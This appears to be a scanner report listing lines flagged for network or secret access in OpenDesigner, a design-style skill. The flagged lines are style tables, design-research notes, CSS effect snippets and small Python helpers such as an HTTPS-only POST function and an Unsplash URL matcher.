  • Network accessline 134
    | **Letterpress** `letterpress` | ink letters pressed into thick soft paper, leaving a dent | pressed into paper, letterpress, embossed, debossed, wedding invitation feel | edge none · depth inner · color spot-inks · type serif · texture pa
  • Network accessline 135
    | **Liquid metal** `liquid-metal` | shiny melted silver, like mirror chrome poured into letters | chrome letters, liquid metal, shiny silver, mercury, melted metal | surface metallic · edge none · depth extruded · shape blob · color metalli
  • Network accessline 136
    | **Mac OS Platinum** `mac-os-platinum` | soft grey late-90s Mac windows with gentle 3D buttons | Mac OS 9, old Mac grey, classic Mac, late 90s Apple, retro Mac desktop | edge beveled · depth extruded · layout layered · motion still | core-
  • Network accessline 137
    | **neumorphism** `neumorphism` | soft buttons pushed out of the page or pressed in, all one color | cushion, cushiony, like a remote, neumorphic, neumorphism | edge none · depth extruded · shape rounded · color muted · contrast low · type 
  • Network accessline 138
    | **Retro-futurism revival** `retro-futurism` | yesterday's idea of the future: chrome, neon and rounded gadgets | old sci-fi, space age, chrome and neon, retro future, like a 70s spaceship | surface metallic · edge beveled · depth extruded
  • Network accessline 139
    | **Windows 95 classic** `windows-95-classic` | grey 90s PC windows with raised buttons and a blue title bar | Windows 95, old Windows, grey buttons, retro computer, 90s PC | edge beveled · depth extruded · shape sharp · contrast high · typ
  • Network accessline 140
    | **Windows XP Luna** `windows-xp-luna` | bright blue rounded title bars, green Start button, beige windows | Windows XP, XP style, 2000s PC, blue title bar, green start button | surface gradient · edge outline · depth extruded · shape roun
  • Network accessline 141
    | **Y3K (chrome futurism)** `y3k` | cold silver chrome, sleek shapes and a far-future glow | futuristic chrome, silver metallic, year 3000, liquid metal, sleek sci-fi | surface metallic · depth extruded · shape rounded · color metallic · co
  • Network accessline 145
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Kidcore** `kidcore` | bright crayon colors, stickers, smiley faces and toy-box patterns | like a 90s lunchbox, rainbow and childish, playground 
  • Network accessline 146
    |---|---|---|---|---|---| | **Kidcore** `kidcore` | bright crayon colors, stickers, smiley faces and toy-box patterns | like a 90s lunchbox, rainbow and childish, playground colors, cartoon stickers everywhere, toy store vibe | edge none · 
  • Network accessline 147
    | **Kidcore** `kidcore` | bright crayon colors, stickers, smiley faces and toy-box patterns | like a 90s lunchbox, rainbow and childish, playground colors, cartoon stickers everywhere, toy store vibe | edge none · depth layered · shape roun
  • Network accessline 148
    | **Memphis style** `memphis` | 80s squiggles, confetti shapes and zigzags in loud colors | 80s, confetti shapes, memphis, squiggles, zigzags | edge outline · depth flat · shape geometric · color vivid · type geometric · scale dramatic · te
  • Network accessline 149
    | **mesh gradient** `mesh-gradient` | soft clouds of color that melt into each other | aurora, aurora gradient, dreamy colors, gradient, gradient background | surface gradient · edge none · depth flat · shape rounded · color rainbow · type 
  • Network accessline 150
    | **Psychedelic poster (1960s)** `psychedelic-poster` | melting swirly letters and clashing bright colors that seem to vibrate | trippy, 60s hippie poster, groovy swirly letters, Woodstock vibe, melting text | edge none · depth flat · shape
  • Network accessline 151
    | **risograph** `risograph` | a cheap, colorful print look: two or three inks with grain | ink, printed, riso, risograph, screen print | edge none · depth flat · color spot-inks · type display · scale dramatic · texture grain · imagery illu
  • Network accessline 152
    | **Sci-fi FUI / HUD** `sci-fi-fui` | glowing blue lines, rings and readouts like a movie spaceship screen | sci-fi interface, spaceship screen, hologram UI, HUD, futuristic dashboard | surface luminous · depth glow · shape geometric · colo
  • Network accessline 153
    | **Synthwave** `synthwave` | glowing pink grid road racing toward a striped sunset at night | 80s neon, retro sunset grid, night drive vibe, neon grid, retro arcade glow | surface luminous · depth glow · color neon · contrast high · type d
  • Network accessline 154
    | **Web 1.0 vernacular (GeoCities)** `web-1-vernacular` | homemade 90s web page: tiled backgrounds, blinking GIFs, everything at once | old internet, 90s website, GeoCities, under construction, personal homepage | edge beveled · depth flat 
  • Network accessline 177
    | Style | Looks like | People say | Stands out | Fits | Sources | |---|---|---|---|---|---| | **Cel-shaded** `cel-shaded` | 3D characters shaded like a cartoon, with hard light and dark steps | cartoon 3D, anime style 3D, like Zelda Wind Wa
  • Network accessline 178
    |---|---|---|---|---|---| | **Cel-shaded** `cel-shaded` | 3D characters shaded like a cartoon, with hard light and dark steps | cartoon 3D, anime style 3D, like Zelda Wind Waker, toon look, comic-book 3D | edge thick-outline · depth tonal ·
  • Network accessline 179
    | **Cel-shaded** `cel-shaded` | 3D characters shaded like a cartoon, with hard light and dark steps | cartoon 3D, anime style 3D, like Zelda Wind Waker, toon look, comic-book 3D | edge thick-outline · depth tonal · shape rounded · color viv
  • Network accessline 180
    | **Corporate Memphis** `corporate-memphis` | flat cartoon people with long bendy arms in bright colors | those tech company cartoon people, bendy arm people, friendly flat illustrations, startup website drawings, Facebook-style illustratio
  • Network accessline 181
    | **Cybersigilism** `cybersigilism` | thin, spiky, mirrored lines like sci-fi tattoos or alien veins | spiky tattoo lines, cyber tribal, sharp thorny lines, alien tattoo font, techno gothic lines | depth flat · shape irregular · color monoc
  • Network accessline 182
    | **Felt and embroidery** `felt-and-embroidery` | pictures made from soft cut felt or colorful stitched thread | made of felt, embroidered, stitched, fabric look, cosy craft | edge rough · depth soft-shadow · shape rounded · color vivid · t
  • Network accessline 183
    | **isometric drawings** `isometric` | 3D-looking drawings at a fixed angle, like a little city | 3d diagram, axonometric, isometric, little city, stacked layers | edge none · depth layered · shape geometric · color tonal · type geometric ·
  • Network accessline 184
    | **Low poly** `low-poly` | pictures built from many small flat triangles, like a cut gem | made of triangles, faceted, like a gem, geometric 3D, old video game 3D | edge none · depth tonal · shape geometric · color tonal · type geometric ·
  • Network accessline 185
    | **Op Art** `op-art` | black and white stripes and dots that trick your eyes into moving | optical illusion, trippy black and white lines, hypnotic pattern, wavy stripes, 60s mod pattern | edge none · depth flat · shape geometric · color m
  • Network accessline 186
    | **Stained glass** `stained-glass` | bright see-through color pieces joined by thick dark lines | church window, stained glass, jewel colours, glowing glass pieces, thick black outlines | surface translucent · edge thick-outline · depth gl
  • Network accessline 187
    | **Sumi-e ink brush** `sumi-e-ink` | black ink brush strokes, from dark to pale grey, much empty paper | ink brush, Japanese ink painting, zen brush strokes, calligraphy painting, black ink wash | edge rough · depth flat · shape irregular 
  • Network accessline 188
    | **Surreal silliness** `surreal-absurd` | dreamlike, funny pictures where size and physics go wrong | weird and funny, dreamlike, surreal, giant objects, uncanny | edge none · depth layered · shape irregular · color vivid · type display · 
  • Network accessline 189
    | **Voxel art** `voxel` | scenes built from tiny colored cubes, like digital LEGO | made of cubes, like Minecraft, blocky 3D, LEGO look, 3D pixel art | edge none · depth extruded · shape pixel · color vivid · type pixel · imagery 3d · layou
  • Network accessline 190
    | **Woodcut and linocut** `woodcut-linocut` | bold carved-looking prints with rough black shapes and white cut lines | block print, linocut, woodcut, carved stamp look, old book illustration | edge rough · depth flat · shape irregular · col

skills/opendesigner/references/style-lab.md

  • Network accessline 118
    - **Novelty pays only while the design still looks typical.** Typicality and novelty predict preference together, each holding the other back ([Hekkert, Snelders and van Wieringen 2003](https://pubmed.ncbi.nlm.nih.gov/12648393/); Loewy's "m
  • Network accessline 119
    - **First impressions are fast and favour simple, typical pages.** Visual complexity and prototypicality affected ratings of websites shown for 17 ms; low complexity with high prototypicality looked best ([Tuch et al. 2012](https://research
  • Network accessline 120
    - **High complexity costs the most appeal; color is a matter of audience.** Perceived complexity and colorfulness explained about half the variance in appeal, and the preferred amount of color shifted by group ([Reinecke et al. 2013](https:
  • Network accessline 121
    - **Unusual designs grow on people; weak signifiers get worse.** Atypical designs gained with exposure ([Landwehr, Wentzel and Herrmann 2013](https://doi.org/10.1509/jm.11.0286)), while long exposure to weak clickability cues made people sl
  • Network accessline 122
    - **Experiments fail on legibility and novelty for its own sake.** Translucent controls over busy content and constant animation cost usability ([NN/g on Liquid Glass, 2025](https://www.nngroup.com/articles/liquid-glass/)); deliberately dis
  • Network accessline 123
    - **The generator is a morphological box with blending.** Every combination of axis values is a candidate, filtered by consistency ([Ritchey, General Morphological Analysis](https://www.swemorph.com/ma.html)); a blend keeps a shared structu
  • Network accessline 124
    - **Directions are shown as tiles, with tensions and a middle option.** Style tiles and element collages show a look without a full page ([Warren 2012](https://alistapart.com/article/style-tiles-and-how-they-work/); [Mall 2012](https://v3.d
  • Network accessline 125
    - **Sameness is a real risk.** Web layouts became measurably more alike after 2007 ([Goree et al. 2021](https://doi.org/10.1145/3411764.3445156)), and AI-made sites may strengthen it ([Shin et al. 2026](https://arxiv.org/abs/2603.13036)).
  • Network accessline 126
    - **Motion rules.** [WCAG 2.3.1 flashes](https://www.w3.org/WAI/WCAG22/Understanding/three-flashes-or-below-threshold.html), [WCAG 2.2.2 pause, stop, hide](https://www.w3.org/WAI/WCAG22/Understanding/pause-stop-hide.html), and [designing wi

skills/opendesigner/references/styles.md

  • Network accessline 68
    - **Goes wrong when:** glass sits on reading surfaces or every card; colored blobs are painted behind the glass only so the blur has something to show (the top tell in `making.md` section 11: glow and gradient blobs with no job, 19 of 54 au
  • Network accessline 70
    - **Seen in:** [CLEAR](https://mobbin.com/screens/3c9f89d5-8e16-4f77-8cdd-1fe3f9f07907) (frosted card over a deep blue background with soft light) · [Moonlitt](https://mobbin.com/screens/15a8a99e-2d36-4716-ae39-787f88cf8e97) (a frosted menu
  • Network accessline 85
    - **Goes wrong when:** everything is soft, so nothing reads as clickable; pastel gray on pastel gray; the paired shadows are copied onto text fields, tables and tabs. It turns every control into a "one bubbly radius on every element" tell (
  • Network accessline 87
    - **Seen in:** Mobbin had no full neumorphic screen in our searches. The nearest: [Lovi](https://mobbin.com/screens/d944dd8b-a7ca-42ec-93a7-096b1101a5ef) (soft raised icon tiles on white cards) · [Antimetal](https://mobbin.com/sites/section
  • Network accessline 101
    - **Goes wrong when:** a clay icon decorates every card or list row (texture or art standing in for a real asset, and decoration with no data: `making.md` section 11, 13 and 12 of 54 pieces); the same bubbly radius goes on every element; cl
  • Network accessline 103
    - **Seen in:** [Liven](https://mobbin.com/screens/b83fe218-17d9-4401-8375-477ab6f28441) (clay-style 3D icons beside each test) · [ABY Journal](https://mobbin.com/screens/7bad8800-13bf-466f-a622-68d911f4249a) (one puffy cloud shape in a pink
  • Network accessline 117
    - **Goes wrong when:** fake materials cover screens that are really forms and lists; the drawn device copies a real brand's hardware (`making.md` section 11: device frames that copy a real brand's hardware); textures stand in for content. -
  • Network accessline 119
    - **Seen in:** [Brink](https://mobbin.com/screens/950daf53-8198-4460-a7a2-0402fe048e8e) (a click-wheel music player drawn as hardware) · [Once](https://mobbin.com/screens/a512d806-9250-4afa-8774-e1f187d15676) (a cassette tape as the recordi
  • Network accessline 134
    - **Goes wrong when:** buttons look like labels and links look like text (weak signifiers); the three-column feature grid with an icon in a circle (`rules.md` section 10); generic flat clip art that says nothing about the product. - **Acces
  • Network accessline 136
    - **Seen in:** [Figma](https://mobbin.com/sites/sections/c7cf7938-427c-4a0b-8d61-7fbc6011e76c) (flat color-block drawings with one stroke weight) · [Figma](https://mobbin.com/sites/sections/5eed885b-ccc5-4340-8ed4-c1251f652e0a) (solid yello
  • Network accessline 151
    - **Goes wrong when:** every card has a big shadow, so nothing stands out; a floating action button lands on a desktop web page (a platform slip, `making.md` section 11); glowing shadows with no offset (`rules.md` section 10). - **Accessibi
  • Network accessline 153
    - **Seen in:** [Weverse](https://mobbin.com/screens/ec87d6ce-03e1-4b91-bb14-43c1c9772a64) (raised cards with soft shadows and a red floating plus button) · [Airwallex](https://mobbin.com/screens/0713aaea-bea9-4810-8bdb-849772fd0246) (a floa
  • Network accessline 173
    - **Goes wrong when:** every element gets a border and a shadow, so nothing leads; four or more clashing colors; the quirky display face is used for body text; a state is said four ways at once with border, badge, dot and color (`making.md`
  • Network accessline 175
    - **Seen in:** [Gumroad](https://mobbin.com/sites/sections/dd90cfb3-7857-40f3-987a-3c961e106b87) (tiles and browser windows with hard black offset shadows) · [Gumroad](https://mobbin.com/sites/sections/f2dc37b1-13b8-4026-b38d-23ce8e4196ed) 
  • Network accessline 191
    - **Goes wrong when:** "unfinished" becomes an excuse for broken focus, unreadable text or no states; decoration pretends to be raw (crop marks and big sheet numbers, `making.md` section 11); it is chaos with no grid underneath. - **Accessi
  • Network accessline 193
    - **Seen in:** [Shopify Editions](https://mobbin.com/sites/sections/4f083f05-d90a-4ec2-a47a-ec73ed07cf4f) ("The Boring Edition": serif and mono text, underlined links, a beveled print button) · [Studio Freight](https://mobbin.com/sites/sect
  • Network accessline 208
    - **Goes wrong when:** speech balloons carry no words or empty jokes; halftone dots decorate every surface (decoration with no data, `making.md` section 11); emoji stand in for drawings (`rules.md` section 10). - **Accessibility:** keep han
  • Network accessline 210
    - **Seen in:** [Figma (Shortcut)](https://mobbin.com/sites/sections/d89d3841-aea4-4bc6-a310-075eb53e19db) (an inked illustration with flat red, yellow and green and dot patterns) · [Duolingo ABC](https://mobbin.com/screens/4f83679d-78e6-48f
  • Network accessline 240
    - **Goes wrong when:** shapes are scattered with no job; the primary colors collide with status colors (a red shape next to a red error). - **Accessibility:** white text on yellow and on bright orange fails; check every text-on-shape pair. 
  • Network accessline 242
    - **Seen in:** [Friends of Figma](https://mobbin.com/sites/sections/d07a48ba-b906-4fac-a94c-4506459d69d1) (half circles, a triangle and squares in orange, blue, yellow and black behind a bold headline) · [Figma](https://mobbin.com/sites/sec
  • Network accessline 262
    - **Goes wrong when:** the look is copied without a grid; tiny tracked monospace labels everywhere (the "newspaper hairlines with tiny tracked mono" default direction, `rules.md` section 10); crop marks and sheet numbers as decoration (`mak
  • Network accessline 264
    - **Seen in:** [MOUTHWASH Studio](https://mobbin.com/sites/sections/18b9940f-7494-4680-9013-07b8fbe47943) (a tight bold grotesque headline flush left beside one photo) · [Stripe](https://mobbin.com/sites/sections/2d92ea06-bafd-4c12-8254-62c
  • Network accessline 279
    - **Goes wrong when:** it lands on one of the three default AI directions: a cream background with a serif and a terracotta accent, or newspaper hairlines with an italic serif and tiny tracked mono (`rules.md` section 10); the content is fi
  • Network accessline 281
    - **Seen in:** [The New Yorker](https://mobbin.com/sites/sections/03ca30cc-a924-4eb8-baa8-977472e22098) (a capitals display headline and serif deck over a full-bleed image) · [Assembly Coffee](https://mobbin.com/sites/sections/2218a2ac-844a
  • Network accessline 295
    - **Goes wrong when:** so minimal there are no signs of what to click; gray text on gray backgrounds; near-black with one neon accent (a default AI direction, `rules.md` section 10). - **Accessibility:** light gray text is the main risk: ke
  • Network accessline 297
    - **Seen in:** [Becane](https://mobbin.com/sites/sections/abe97d09-83af-4e81-aefd-7b3a45449219) (a gray page with tiny black type and nothing else) · [Waka Waka](https://mobbin.com/sites/sections/f9a42da3-c557-4ea2-9c80-79ba9b497a0d) (a war
  • Network accessline 311
    - **Goes wrong when:** every tile has the same weight, so nothing leads (S-L15 style table); tiles hold invented proof, gradient glows or floating tilted screens (`making.md` section 11). - **Accessibility:** the visual order can differ fro
  • Network accessline 313
    - **Seen in:** [Retool](https://mobbin.com/sites/sections/0daad8f7-cdde-4ef2-a454-2a26d2bbe0a5) (feature tiles of mixed widths in white and purple) · [Kalstore](https://mobbin.com/sites/sections/f16d29e3-af11-403b-8b03-c79b8279c432) (a text
  • Network accessline 331
    - **Goes wrong when:** purple or blue-to-purple, the most common AI tell (`rules.md` section 10); blobs with no job, the top tell across 54 audited pieces (`making.md` section 11: 19 of 54); it fills space the product should fill. - **Acces
  • Network accessline 333
    - **Seen in:** [OFF+BRAND](https://mobbin.com/sites/sections/5bc9ede6-eb6d-41c3-95f5-509e61755ef2) (blue, green, yellow and pink blended across an image) · [Cosmos](https://mobbin.com/sites/sections/eab202a7-4893-4cf9-a2ef-024d9bf504fc) (a 
  • Network accessline 347
    - **Goes wrong when:** texture stands in for a real picture or real content (`making.md` section 11, 13 of 54 pieces); grain sits over body text; grain covers the whole app. - **Accessibility:** grain lowers text contrast slightly; check co
  • Network accessline 349
    - **Seen in:** [Suno](https://mobbin.com/screens/3f47480b-8e3c-4c10-936f-eddced3eb63b) (a grainy purple and orange gradient behind a serif welcome) · [Cosmos](https://mobbin.com/screens/cdcfe54f-9e8d-46a3-8136-a500984bc410) (a grainy pink g
  • Network accessline 362
    - **Goes wrong when:** it is applied to product screenshots, which hides the product; faces end up in unflattering colors; the two colors fight the brand. - **Accessibility:** text over duotone photos still needs 4.5:1 at the worst spot. Do
  • Network accessline 364
    - **Seen in:** [The New Yorker](https://mobbin.com/sites/sections/29df74de-a58b-43c5-aec5-3367dfb88e47) (a portrait in red and blue beside a serif headline). Our searches found no second clear example.
  • Network accessline 415
    - **Goes wrong when:** chrome goes on every heading; glowing shadows with no offset and sparkles fill space (`rules.md` section 10; `making.md` section 11); bubbly type is used for interface labels. - **Accessibility:** chrome and holograph
  • Network accessline 417
    - **Seen in:** [beehiiv](https://mobbin.com/sites/sections/43abdff4-c48f-4c43-9633-1d1aa4337642) (an old-style OS window over a sunset and wireframe landscape) · [Butter](https://mobbin.com/sites/sections/7d1f4333-5f5a-4758-8bd1-52313dfd367
  • Network accessline 432
    - **Goes wrong when:** stock bubbles and grass decorate screens that have nothing to do with nature; every control gets gloss. - **Accessibility:** white text on light aqua fails; use dark text. Glass needs its solid fallback (style 1). - *
  • Network accessline 434
    - **Seen in:** Mobbin had no full Frutiger Aero interface in our searches. The nearest: [XChat](https://mobbin.com/screens/4a90f445-6a78-4390-a2c6-e99432d5e3ff) (glossy bubble-shaped app icons with top highlights) · [Bump](https://mobbin.co
  • Network accessline 449
    - **Goes wrong when:** pixel fonts are used for small text; pixels scale by non-whole amounts and go blurry; retro clichés replace real product content. - **Accessibility:** pixel fonts are hard to read below about 16 px and for long text; 
  • Network accessline 451
    - **Seen in:** [Wild](https://mobbin.com/sites/sections/b7197fb0-f4c9-4583-8864-d0f5e1c94195) (a headline built from colored pixel blocks) · [InPost UK](https://mobbin.com/screens/c8420f39-6110-4d03-a9ff-ceee61be66e2) (a pixel-art hand tapp
  • Network accessline 470
    - **Accessibility:** dim green on black often fails 4.5:1; check it. A blinking cursor must stop after 5 seconds or have a pause (WCAG 2.2.2). ASCII art needs a text alternative, since screen readers read it character by character. - **Chec
  • Network accessline 472
    - **Seen in:** [Shopify Supply](https://mobbin.com/sites/sections/85479695-55d2-4f92-89bc-1790dda9d9d9) (ASCII-art letters and a command prompt on black) · [The Content Architecture](https://mobbin.com/sites/sections/29bfe158-19c6-48e3-b87a
  • Network accessline 488
    - **Goes wrong when:** near-black with one neon accent and glowing shadows with no offset (both default AI tells, `rules.md` section 10); a purple glow behind everything; gray text drops below 4.5:1. - **Accessibility:** mid-gray on near-bl
  • Network accessline 490
    - **Seen in:** [Linear](https://mobbin.com/sites/sections/0e464c7e-94e9-43b1-a7a3-8f33bd04a16f) (a near-black hero with gray text and a product screenshot with hairline borders) · [Linear](https://mobbin.com/sites/sections/66f59864-ae93-419
  • Network accessline 505
    - **Goes wrong when:** emoji as decoration (`rules.md` section 10); the mascot shows up on every screen; every element bounces; confetti fills space (`making.md` section 11). - **Accessibility:** bouncy springs need a reduced-motion version
  • Network accessline 507
    - **Seen in:** [Duolingo](https://mobbin.com/screens/28505b1e-64a4-4607-aee8-4983e90ee49b) (a chunky "Tap to speak" button with a darker bottom edge under a cartoon character) · [Duolingo ABC](https://mobbin.com/screens/6186431a-817e-4071-a
  • Network accessline 522
    - **Goes wrong when:** cream with a serif display and a terracotta accent (a default AI direction, `rules.md` section 10); warm cream with orange and brown (`making.md` section 11); decorative blobs and wavy dividers (`rules.md` section 10)
  • Network accessline 524
    - **Seen in:** [Farm Minerals](https://mobbin.com/sites/sections/dc8c3b42-7eee-439f-9bdb-6b0a83a3277d) (olive green on sand with a leaf-shaped photo cut-out) · [Savor](https://mobbin.com/sites/sections/8691b8cf-86d0-4134-b528-d806561b518b) 
  • Network accessline 542
    - **Goes wrong when:** isometric clip art has nothing to do with the product; floating tilted UI fragments overlap the copy (`making.md` section 11); the drawing invents parts the words never mention (`making.md` section 8). - **Accessibili
  • Network accessline 544
    - **Seen in:** [Mercury](https://mobbin.com/sites/sections/3a483a4e-ab5c-494e-9db9-c6d41660be22) (an exploded stack of four labelled layers) · [illoca](https://mobbin.com/sites/sections/a67bb39c-e43c-4fac-abbf-7032b9bcde3c) (a detailed isom
  • Network accessline 553
    | Term | Plain words | Designers call it | In code | Seen in | |---|---|---|---|---| | Linear gradient | One color fades into another along a straight line. | linear gradient | `linear-gradient(180deg in oklab, A, B)` | [Inkwell](https://mo
  • Network accessline 554
    |---|---|---|---|---| | Linear gradient | One color fades into another along a straight line. | linear gradient | `linear-gradient(180deg in oklab, A, B)` | [Inkwell](https://mobbin.com/sites/sections/409f023a-42b3-41f6-953f-7cdec40b00a5) (
  • Network accessline 555
    | Linear gradient | One color fades into another along a straight line. | linear gradient | `linear-gradient(180deg in oklab, A, B)` | [Inkwell](https://mobbin.com/sites/sections/409f023a-42b3-41f6-953f-7cdec40b00a5) (blue to peach, top to 
  • Network accessline 556
    | Radial gradient | Color spreads out from a point, like light from a lamp. | radial gradient, glow, spotlight | `radial-gradient(circle at 80% 40%, A, transparent 60%)` | [Grok](https://mobbin.com/sites/sections/92706881-cc9a-40f8-a3d4-c49
  • Network accessline 557
    | Conic gradient | Colors turn around a center point, like a color wheel or a pie. | conic or angular gradient, sweep | `conic-gradient(from 0deg, A, B, A)` | Nearest: [Wizz](https://mobbin.com/sites/sections/0713e9b4-a462-478e-b2b1-0bb9dde
  • Network accessline 558
    | Mesh gradient | Several colors blend in many directions at once. | mesh gradient, freeform gradient | several stacked `radial-gradient` layers, or an image | [OFF+BRAND](https://mobbin.com/sites/sections/5bc9ede6-eb6d-41c3-95f5-509e61755e
  • Network accessline 559
    | Aurora gradient | A soft, blurry, glowing mesh, like the northern lights, often moving slowly. | aurora, gradient blur | blurred shapes (`filter: blur(80px)`) behind content | [Stardust](https://mobbin.com/screens/f18edf39-7477-4098-a71e-
  • Network accessline 561
    | Gradient text | The letters fade from one color to another. | gradient text, gradient fill | `background: linear-gradient(...); -webkit-background-clip: text; background-clip: text; color: transparent;` | [Grok](https://mobbin.com/sites/s
  • Network accessline 566
    | Term | Plain words | Designers call it | In code | Seen in | |---|---|---|---|---| | Frosted glass | A see-through panel that blurs what is behind it. | glass, backdrop blur, material | `backdrop-filter: blur(20px)` over a translucent fil
  • Network accessline 567
    |---|---|---|---|---| | Frosted glass | A see-through panel that blurs what is behind it. | glass, backdrop blur, material | `backdrop-filter: blur(20px)` over a translucent fill | [CLEAR](https://mobbin.com/screens/3c9f89d5-8e16-4f77-8cdd-
  • Network accessline 568
    | Frosted glass | A see-through panel that blurs what is behind it. | glass, backdrop blur, material | `backdrop-filter: blur(20px)` over a translucent fill | [CLEAR](https://mobbin.com/screens/3c9f89d5-8e16-4f77-8cdd-1fe3f9f07907) |
  • Network accessline 569
    | Drop shadow | A soft shadow under something, so it looks lifted. | drop shadow, elevation | `box-shadow: 0 4px 12px rgb(0 0 0 / .12)` | [Weverse](https://mobbin.com/screens/ec87d6ce-03e1-4b91-bb14-43c1c9772a64) |
  • Network accessline 570
    | Inner shadow | A shadow inside the edge, so something looks pressed in. | inner shadow, inset | `box-shadow: inset 0 2px 4px rgb(0 0 0 / .15)` | none found clearly | | Hard (offset) shadow | A sharp, solid shadow shifted to one side, with
  • Network accessline 571
    | Hard (offset) shadow | A sharp, solid shadow shifted to one side, with no blur. | hard shadow, offset shadow | `box-shadow: 4px 4px 0 #111` | [Gumroad](https://mobbin.com/sites/sections/dd90cfb3-7857-40f3-987a-3c961e106b87) |
  • Network accessline 572
    | Long shadow | A shadow that stretches far out at 45 degrees, flat-style. | long shadow | many stacked `text-shadow` or `box-shadow` steps, or an SVG shape | none found; S-L15-009 calls it flat 2.0 "gone wrong" | | Hairline | The thinnest 
  • Network accessline 573
    | Hairline | The thinnest possible line, 1 px or less. | hairline, rule, divider | `border-top: 1px solid var(--color-border)`; 0.5 px on high-density screens | [Linear](https://mobbin.com/sites/sections/0e464c7e-94e9-43b1-a7a3-8f33bd04a16f
  • Network accessline 574
    | Sticker / die-cut | A shape with a white outline, as if cut out and stuck on. | sticker, die-cut | SVG with a thick white stroke under the art, plus a small shadow | [Bump](https://mobbin.com/screens/430dfc3a-65bd-4d88-a80c-aa56d9057190) 
  • Network accessline 575
    | Halftone | Shading made of dots that grow larger in darker parts. | halftone, dot screen, Ben-Day dots | `radial-gradient(#111 1.5px, transparent 1.6px) 0 0 / 8px 8px` | [Butter](https://mobbin.com/sites/sections/ff6aa608-216b-469d-8be0-d
  • Network accessline 576
    | Grain / noise | A fine speckle, like film or paper. | grain, noise | SVG `feTurbulence` overlay at about 6% opacity | [Suno](https://mobbin.com/screens/3f47480b-8e3c-4c10-936f-eddced3eb63b) |
  • Network accessline 577
    | Scanlines | Thin horizontal stripes, like an old TV screen. | scanlines, CRT effect | `repeating-linear-gradient(0deg, rgb(0 0 0 / .15) 0 1px, transparent 1px 3px)` | none found | | Bevel | Edges cut at an angle, lighter on top and darker
  • Network accessline 578
    | Bevel | Edges cut at an angle, lighter on top and darker below, so something looks raised. | bevel | `border` with light top-left and dark bottom-right colors, or two inset shadows | [Shopify Editions](https://mobbin.com/sites/sections/4f

skills/opendesigner/scripts/engine.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 85
    OPENDESIGNER_VERSION = "0.1.0" CHANGELOG_URL = "https://github.com/ckryptickunal/OpenDesigner/blob/main/CHANGELOG.md"
  • Network accessline 86
    CHANGELOG_URL = "https://github.com/ckryptickunal/OpenDesigner/blob/main/CHANGELOG.md"
  • Network accessline 456
    la = (200 / math.pi) * y_l50 / 100     yb = y_l50     f, c, nc = 1.0, 0.69, 1.0
  • Network accessline 457
    yb = y_l50     f, c, nc = 1.0, 0.69, 1.0     m16 = ((0.401288, 0.650173, -0.051461), (-0.250268, 1.204414, 0.045854), (-0.002079, 0.048952, 0.953127))
  • Network accessline 458
    f, c, nc = 1.0, 0.69, 1.0
  • Access to secretsline 5225
    [Credential-related source omitted]
  • Network accessline 8307
    ink = f"var({css_var(prefix, 'color.text.primary')})"     paint = {  # textures are image assets, drawn here (DC-L19-12); static and behind content         "grain": ("url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width=
  • Network accessline 8308
    paint = {  # textures are image assets, drawn here (DC-L19-12); static and behind content         "grain": ("url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='160' height='160'%3E%3Cfilter id='n'%3E"                 
  • Network accessline 8309
    "grain": ("url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='160' height='160'%3E%3Cfilter id='n'%3E"

skills/opendesigner/scripts/journey.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 207
    [Credential-related source omitted]
  • Network accessline 613
    def post(url, data):     if not (url.startswith("https://") or re.match(r"^http://(localhost|127\.0\.0\.1)(:\d+)?/", url)):
  • Network accessline 614
    if not (url.startswith("https://") or re.match(r"^http://(localhost|127\.0\.0\.1)(:\d+)?/", url)):         return False     req = urllib.request.Request(url, data=json.dumps(data, separators=(",", ":")).encode("utf-8"), method="POST",
  • Network accessline 615
    return False     req = urllib.request.Request(url, data=json.dumps(data, separators=(",", ":")).encode("utf-8"), method="POST",                                  headers={"Content-Type": "application/json", "User-Agent": "opendesigner-journe
  • Network accessline 616
    req = urllib.request.Request(url, data=json.dumps(data, separators=(",", ":")).encode("utf-8"), method="POST",
  • Network accessline 617
    headers={"Content-Type": "application/json", "User-Agent": "opendesigner-journey"})     try:         with urllib.request.urlopen(req, timeout=POST_TIMEOUT) as r:
  • Network accessline 618
    try:         with urllib.request.urlopen(req, timeout=POST_TIMEOUT) as r:             return 200 <= r.status < 300
  • Network accessline 619
    with urllib.request.urlopen(req, timeout=POST_TIMEOUT) as r:
  • Access to secretsline 654
    [Credential-related source omitted]

skills/opendesigner/scripts/library.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 165
    for tag in re.findall(r"<img\b[^>]*>", html_):         src = (re.search(r'\ssrc="([^"]*)"', tag) or [None, ""])[1]         m = re.match(r"https://images\.unsplash\.com/(photo-[A-Za-z0-9-]+)\?", src)
  • Network accessline 166
    src = (re.search(r'\ssrc="([^"]*)"', tag) or [None, ""])[1]         m = re.match(r"https://images\.unsplash\.com/(photo-[A-Za-z0-9-]+)\?", src)         if not m:
  • Network accessline 167
    m = re.match(r"https://images\.unsplash\.com/(photo-[A-Za-z0-9-]+)\?", src)

skills/opendesigner/scripts/preferences.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner/scripts/research.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 66
    {"id": "last30days", "name": "The /last30days skill", "look_for": "a skill named last30days",      "adds": "what these users said in the last 30 days on Reddit, X, YouTube and Hacker News: live habits and complaints",      "get": "https://g
  • Network accessline 67
    "adds": "what these users said in the last 30 days on Reddit, X, YouTube and Hacker News: live habits and complaints",      "get": "https://github.com/mvanhorn/last30days-skill"},     {"id": "mobbin", "name": "Mobbin", "look_for": "tools na
  • Network accessline 68
    "get": "https://github.com/mvanhorn/last30days-skill"},
  • Network accessline 244
    url = str(s.get("url") or "").strip()         if not (re.match(r"^https?://[^\s]+$", url) or PERSON_SOURCE.match(url)):             err(f"source {s['id']} needs a url (https://...) that was opened, or \"person, YYYY-MM-DD\" / \"interview, Y
  • Network accessline 245
    if not (re.match(r"^https?://[^\s]+$", url) or PERSON_SOURCE.match(url)):             err(f"source {s['id']} needs a url (https://...) that was opened, or \"person, YYYY-MM-DD\" / \"interview, YYYY-MM-DD\" / "                 f"\"analytics,
  • Network accessline 246
